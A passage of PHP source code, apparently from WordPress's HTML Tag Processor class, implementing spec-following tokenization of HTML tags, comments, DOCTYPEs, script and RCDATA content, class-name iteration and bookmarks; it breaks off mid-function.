	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
